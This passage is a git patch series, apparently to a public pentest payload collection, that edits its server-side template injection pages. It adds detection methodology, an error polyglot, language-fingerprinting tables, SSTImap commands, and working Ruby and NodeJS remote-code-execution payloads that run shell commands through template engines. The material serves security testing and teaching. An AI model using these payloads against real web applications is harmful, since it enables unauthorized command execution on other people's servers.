@@ -32,15 +41,133 @@ - [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap) - ```powershell + ```bash python3 ./sstimap.py -u 'https://example.com/page?name=John' -s - python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade + python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk' ``` ## Methodology -### Identify the Vulnerable Input Field +### Detection and Exploitation Techniques + +Original research: + +- Rendered, Time-Based: [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf) +- Polyglot-Based: [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf) +- Error-Based, Boolean-Based: [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) + +#### Rendered + +![Rendered technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Rendered.png?raw=true) + +> Applicability: detection, exploitation + +When the rendered template is displayed to the attacker, Rendered technique can be used to include the results of the injected code on the page. + +#### Error-Based + +![Error-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Error-Based.png?raw=true) + +> Applicability: detection, exploitation + +When the errors are verbosely displayed to the attacker, Error-Based technique can be used to trigger the error message containing the results of the injected code. + +#### Boolean-Based + +![Boolean-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Boolean-Based.png?raw=true) + +> Applicability: detection, blind exploitation, blind data exfiltration + +Boolean-Based technique can be used to conditionally trigger an error to indicate success or failure of the injected code. + +#### Time-Based + +![Time-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Time-Based.png?raw=true) + +> Applicability: limited detection, blind exploitation, blind data exfiltration + +Time-Based technique can be used to conditionally trigger the delay to indicate success or failure of the injected code. + +Triggering the delay often requires guessing payloads for code evaluation or OS command execution. + +#### Out of Bounds + +> Applicability: limited detection, exploitation + +Out of Bounds technique can be used to expose results of the injected code through other channels (e.g. by connecting to an attacker-controlled server). + +This technique often requires guessing payloads for code evaluation or OS command execution. + +#### Polyglot-Based + +![Polyglot-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Polyglot-Based.png?raw=true) + +> Applicability: detection + +Polyglot-Based technique can be used to quickly determine the template engine by checking how it transforms different payloads. + +### Universal Detection Payloads + +Polyglot to trigger an error in presence of SSTI vulnerability: + +```ps1 +${{<%[%'"}}%\. +``` + +Common tags to test for SSTI with code evaluation: + +``` +{{ ... }} +${ ... } +#{ ... } +<%= ... %> +{ ... } +{{= ... }} +{= ... } +\n= ... \n +*{ ... } +@{ ... } +@( ... ) +``` + +Rendered SSTI can be checked by using mathematical expressions inside the tags: + +``` +7 * 7 +``` + +Error-Based SSTI can be checked by using this payload inside the tags: + +``` +(1/0).zxy.zxy +``` + +If the error caused by that payload is displayed verbosely, it can be checked to guess the language used for code evaluation: + +| Error | Language | +|-------------------------------|-------------------| +| ZeroDivisionError | Python | +| java.lang.ArithmeticException | Java | +| ReferenceError | NodeJS | +| TypeError | NodeJS | +| Division by zero | PHP | +| DivisionByZeroError | PHP | +| divided by 0 | Ruby | +| Arithmetic operation failed | Freemarker (Java) | + +To test for blind injections using Boolean-Based technique, the attacker can test pairs of similar payloads wrapped in tags, where one payload evaluates mathematical expression, while the other triggers syntax error: + +| test | ok | error | +|------|-----------------|-----------------| +| 1 | `(3*4/2)` | `3*)2(/4` | +| 2 | `((7*8)/(2*4))` | `7)(*)8)(2/(*4` | + +Using at least two pairs of payloads avoids false positives caused by external interference. + +### Manual Detection and Exploitation + +#### Identify the Vulnerable Input Field The attacker first locates an input field, URL parameter, or any user-controllable part of the application that is passed into a server-side template without proper sanitization or escaping. @@ -48,7 +175,7 @@ For example, the attacker might identify a web form, search bar, or template pre **TIP**: Generated PDF files, invoices and emails usually use a template. -### Inject Template Syntax +#### Inject Template Syntax The attacker tests the identified input field by injecting template syntax specific to the template engine in use. Different web frameworks use different template engines (e.g., Jinja2 for Python, Twig for PHP, or FreeMarker for Java). @@ -69,7 +196,7 @@ ${{<%[%'"}}%\. The [Hackmanit/Template Injection Table](https://github.com/Hackmanit/template-injection-table) is an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines. -### Enumerate the Template Engine +#### Enumerate the Template Engine Based on the successful response, the attacker determines which template engine is being used. This step is critical because different template engines have different syntax, features, and potential for exploitation. The attacker may try different payloads to see which one executes, thereby identifying the engine. @@ -79,7 +206,7 @@ Based on the successful response, the attacker determines which template engine [The post "template-engines-injection-101" from @0xAwali](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) summarize the syntax and detection method for most of the template engines for JavaScript, Python, Ruby, Java and PHP and how to differentiate between engines that use the same syntax. -### Escalate to Code Execution +#### Escalate to Code Execution Once the template engine is identified, the attacker injects more complex expressions, aiming to execute server-side commands or arbitrary code. @@ -91,6 +218,9 @@ Once the template engine is identified, the attacker injects more complex expres ## References +- [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf) +- [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) - [A Pentester's Guide to Server Side Template Injection (SSTI) - Busra Demir - December 24, 2020](https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti) - [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - August 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) - [Template Engines Injection 101 - Mahmoud M. Awali - November 1, 2024](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) diff --git a/Server Side Template Injection/Ruby.md b/Server Side Template Injection/Ruby.md index d7c2615ff9..1d742f416d 100644 --- a/Server Side Template Injection/Ruby.md +++ b/Server Side Template Injection/Ruby.md @@ -5,6 +5,7 @@ ## Summary - [Templating Libraries](#templating-libraries) +- [Universal Payloads](#universal-payloads) - [Ruby](#ruby) - [Ruby - Basic injections](#ruby---basic-injections) - [Ruby - Retrieve /etc/passwd](#ruby---retrieve-etcpasswd) @@ -15,14 +16,27 @@ ## Templating Libraries | Template Name | Payload Format | -| ------------ | --------- | -| Erb | `<%= %>` | -| Erubi | `<%= %>` | -| Erubis | `<%= %>` | -| HAML | `#{ }` | -| Liquid | `{{ }}` | -| Mustache | `{{ }}` | -| Slim | `#{ }` | +|---------------|----------------| +| Erb | `<%= %>` | +| Erubi | `<%= %>` | +| Erubis | `<%= %>` | +| HAML | `#{ }` | +| Liquid | `{{ }}` | +| Mustache | `{{ }}` | +| Slim | `#{ }` | + +## Universal Payloads + +Generic code injection payloads work for many Ruby-based template engines, such as Erb, Erubi, Erubis, HAML and Slim. + +To use these payloads, wrap them in the appropriate tag. + +```ruby +%x('id') # Rendered RCE +File.read("Y:/A:/"+%x('id')) # Error-Based RCE +1/(system("id")&&1||0) # Boolean-Based RCE +system("id && sleep 5") # Time-Based RCE +``` ## Ruby @@ -74,3 +88,4 @@ Execute code using SSTI for **Slim** engine. ## References - [Ruby ERB Template Injection - Scott White & Geoff Walton - September 13, 2017](https://web.archive.org/web/20181119170413/https://www.trustedsec.com/2017/09/rubyerb-template-injection/) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) From abbbf2fc95def1a82d6c4f87c772dbe405c7e199 Mon Sep 17 00:00:00 2001 From: vladko312 Date: Sat, 3 Jan 2026 18:43:24 +0300 Subject: [PATCH 2/5] SSTI: - Fixed NodeJS payloads --- Server Side Template Injection/JavaScript.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/Server Side Template Injection/JavaScript.md b/Server Side Template Injection/JavaScript.md index f317f735bf..4568a7197c 100644 --- a/Server Side Template Injection/JavaScript.md +++ b/Server Side Template Injection/JavaScript.md @@ -41,17 +41,17 @@ To use these payloads, wrap them in the appropriate tag. ```javascript // Rendered RCE -require("child_process").execSync("id") +global.process.mainModule.require("child_process").execSync("id") // Error-Based RCE -require("Y:/A:/"+require("child_process").execSync("id")) -""["x"][require("child_process").execSync("id")] +global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id")) +""["x"][global.process.mainModule.require("child_process").execSync("id")] // Boolean-Based RCE -[""][0 + !(require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"] +[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"] // Time-Based RCE -require("child_process").execSync("id && sleep 5") +global.process.mainModule.require("child_process").execSync("id && sleep 5") ``` NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`. @@ -149,6 +149,8 @@ ${= _.VERSION} ## Pug +> Universal payloads also work for Pug. + [Official website](https://pugjs.org/api/getting-started.html) > From 09a5f07345201adda5cd35c339e23979b293c2bc Mon Sep 17 00:00:00 2001 From: vladko312 Date: Sat, 3 Jan 2026 22:20:19 +0300 Subject: [PATCH 3/5] SSI, SSTI: - Improved MarkDown --- Server Side Include Injection/README.md | 2 +- Server Side Template Injection/Java.md | 2 +- Server Side Template Injection/PHP.md | 1 + Server Side Template Injection/README.md | 12 ++++++------ 4 files changed, 9 insertions(+), 8 deletions(-) diff --git a/Server Side Include Injection/README.md b/Server Side Include Injection/README.md index 5880147ec8..9826857903 100644 --- a/Server Side Include Injection/README.md +++ b/Server Side Include Injection/README.md @@ -11,7 +11,7 @@ ## Tools -- [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI` +* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI` ```bash python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md index 2bd3c48441..f261d791d2 100644 --- a/Server Side Template Injection/Java.md +++ b/Server Side Template Injection/Java.md @@ -54,7 +54,7 @@ ### Java EL - Basic Injection -> Java has multiple Expression Languages using similar syntax. +Java has multiple Expression Languages using similar syntax. > Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`. diff --git a/Server Side Template Injection/PHP.md b/Server Side Template Injection/PHP.md index 299bbc18a2..11caee80a3 100644 --- a/Server Side Template Injection/PHP.md +++ b/Server Side Template Injection/PHP.md @@ -167,6 +167,7 @@ $output = $twig > render ( ``` With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases: + ```php {{ {'id':'shell_exec'}|map('call_user_func')|join }} ``` diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 5d7e34a2e9..1b0b4af792 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -53,9 +53,9 @@ Original research: -- Rendered, Time-Based: [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf) -- Polyglot-Based: [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf) -- Error-Based, Boolean-Based: [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) +* Rendered, Time-Based: [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf) +* Polyglot-Based: [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf) +* Error-Based, Boolean-Based: [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) #### Rendered @@ -117,7 +117,7 @@ ${{<%[%'"}}%\. Common tags to test for SSTI with code evaluation: -``` +```powershell {{ ... }} ${ ... } #{ ... } @@ -133,13 +133,13 @@ ${ ... } Rendered SSTI can be checked by using mathematical expressions inside the tags: -``` +```powershell 7 * 7 ``` Error-Based SSTI can be checked by using this payload inside the tags: -``` +```powershell (1/0).zxy.zxy ``` From bec6524774724cbe859f0aab1f24491961f9e520 Mon Sep 17 00:00:00 2001 From: vladko312 Date: Sat, 3 Jan 2026 23:19:26 +0300 Subject: [PATCH 4/5] SSTI: - Fixed NodeJS payloads --- Server Side Template Injection/JavaScript.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Server Side Template Injection/JavaScript.md b/Server Side Template Injection/JavaScript.md index 4568a7197c..8e8d861c64 100644 --- a/Server Side Template Injection/JavaScript.md +++ b/Server Side Template Injection/JavaScript.md @@ -41,17 +41,17 @@ To use these payloads, wrap them in the appropriate tag. ```javascript // Rendered RCE -global.process.mainModule.require("child_process").execSync("id") +global.process.mainModule.require("child_process").execSync("id").toString() // Error-Based RCE -global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id")) -""["x"][global.process.mainModule.require("child_process").execSync("id")] +global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString()) +""["x"][global.process.mainModule.require("child_process").execSync("id").toString()] // Boolean-Based RCE [""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"] // Time-Based RCE -global.process.mainModule.require("child_process").execSync("id && sleep 5") +global.process.mainModule.require("child_process").execSync("id && sleep 5").toString() ``` NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`. From 08b5c4c868fd4a8f5ac02f91ec276e953e3b1ca0 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sat, 3 Jan 2026 22:50:37 +0100 Subject: [PATCH 5/5] Unordered list style [Expected: dash; Actual: asterisk] --- Server Side Template Injection/README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 1b0b4af792..e935fe6551 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -53,9 +53,9 @@ Original research: -* Rendered, Time-Based: [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf) -* Polyglot-Based: [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf) -* Error-Based, Boolean-Based: [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) +- Rendered, Time-Based: [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf) +- Polyglot-Based: [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf) +- Error-Based, Boolean-Based: [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) #### Rendered